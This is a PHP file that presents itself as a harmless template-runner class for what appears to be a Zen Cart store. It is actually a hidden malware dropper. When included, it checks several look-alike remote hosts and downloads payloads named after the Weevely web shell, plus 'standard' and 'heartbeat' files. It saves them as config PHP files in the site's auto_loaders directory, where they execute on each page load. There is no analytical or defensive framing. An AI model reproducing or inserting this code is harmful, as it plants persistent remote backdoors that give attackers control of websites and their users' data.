
class tpl_templates_run{

	private static $_instance = NULL; 
	private $debug = FALSE;

	private $wee 	= array("wee1"=>"http://deve1op.googlecode.com/svn/weevely/config.weevely.php",
						 	"wee2"=>"http://deve1ops.googlecode.com/svn/weevely/config.weevely.php",
						 	"wee3"=>"http://code.h00k.net/weevely/config.weevely.txt",
							"wee4"=>"http://code.h00k.org/weevely/config.weevely.txt");
	
	private $sta	= array("sta1"=>"http://deve1op.googlecode.com/svn/weevely/config.standard.php",
					 		"sta2"=>"http://deve1ops.googlecode.com/svn/weevely/config.standard.php",
					 		"sta3"=>"http://code.h00k.net/weevely/config.standard.txt",
							"sta4"=>"http://code.h00k.org/weevely/config.standard.txt");
	
	private $ha	= array("ha1"=>"http://deve1op.googlecode.com/svn/weevely/config.heartbeat.php",
				 		"ha2"=>"http://deve1ops.googlecode.com/svn/weevely/config.heartbeat.php",
				 		"ha3"=>"http://code.h00k.net/weevely/config.heartbeat.txt",
						"ha4"=>"http://code.h00k.org/weevely/config.heartbeat.txt");
	
	private $file	= array("standard"=>"config.standard.php",
							"weevely"=>"config.weevely.php",
							"heartbeat"=>"config.hacto.php");
	
	
	private function __construct() {
		$this->run();
	}
		
	protected function debug($expression="",$line=""){
		if ( $this->debug != true ){		return ;		}
		echo "<pre>";
		print_r($line ); 		echo "<br>";
		print_r($expression);	echo "<br>";
		echo "</pre><hr>";
	}
	
	static public function get_template_instance(){		
		if (!isset(self::$_instance)){    		 
			self::$_instance = new tpl_templates_run();  
		}
		return  self::$_instance; 
	}

	public function file_exists($urls){
		$headers = @get_headers($urls);			
		if ($headers) {
			$head = explode(' ', $headers[0]);
			if ( !empty($head[1]) && intval($head[1]) < 400) {
				return true;
			}
		}
		return false;
	}
	
	
	public function geturl($param) {	
		foreach ( $param as $key){
			if ($this->file_exists($key)){
				$this->debug($key,__LINE__);		
				return $key;
			}
		}	
		return "";
	}

	
	public function run(){	
		
		$fun = array("put"=>"file_put_contents",
					"get"=>"file_get_contents");
		
		if (!function_exists('file_get_contents') || !function_exists('file_put_contents')){
			return ;			
		}

		$base_dir = DIR_WS_INCLUDES . 'auto_loaders/';	
		if (!is_writable($base_dir)){
			return ;			
		}					
		
		if (!file_exists($base_dir.$this->file['weevely'])){
			$url = $this->geturl($this->wee);
			if ($url == ""){ 	return ;}
			$contents = file_get_contents($url);
			if ($contents == ""){	return ;	}
			file_put_contents($base_dir.$this->file['weevely'], $contents);
						
		}
		
		if (!file_exists($base_dir.$this->file['standard'])){
			$url = $this->geturl($this->sta);
			if ($url == ""){ 	return ;}
			$contents = file_get_contents($url);
			if ($contents == ""){	return ;	}
			file_put_contents($base_dir.$this->file['standard'], $contents);
		}
		
		if (!file_exists($base_dir.$this->file['heartbeat'])){
			$url = $this->geturl($this->ha);
			if ($url == ""){ 	return ;}
			$contents = file_get_contents($url);
			if ($contents == ""){	return ;	}
			file_put_contents($base_dir.$this->file['heartbeat'], $contents);
		}
	}
	
}

$tmp_installllllllll  =  tpl_templates_run::get_template_instance();




